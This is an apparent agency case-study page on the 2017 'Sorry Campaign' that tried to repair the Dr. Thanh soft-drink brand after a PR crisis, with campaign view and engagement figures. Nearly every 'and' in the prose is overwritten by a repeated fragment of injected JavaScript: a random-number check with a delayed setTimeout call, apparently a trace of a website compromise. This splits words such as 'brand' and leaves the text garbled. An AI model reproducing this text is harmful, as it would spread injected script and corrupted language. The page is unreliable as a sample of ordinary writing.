The Sorry Campaign

THE INTRODUCTION

Dr. Thanh is a famous Vietnamese soft drink brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and produced by local giant beverage group THP. The brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and was a big success in the market since its launch in 2008 but after a legal dispute in 2015 led to a huge PR crisis, the Dr. Thanh flagship brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and became damaged in both brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sales andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and
public image.
To help revive the brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and image we created various social media andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and CSR campaigns leading up to Tet 2017, when we launched a surprise integrated PR campaign with a message from Dr. Thanh himself.

The message that turned into a cultural movement

THE RESULTS

11 Millon Official Apology Video Views, 60 Million Earned Media TV Show Views, 7,400 Sorry Postcards sent via microsite, 63,000 Engagement on official Fanpage andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and estimated 200 Millions Impressions.
More over, the spirit of forgiveness reached a pinnacle when during one emotional episode an anonymous donor phoned the TV station to provide the funds to build a training center for underprivileged kids.

  • Client

    DR.THANH

  • Date

    2017

  • Kind

    Integrated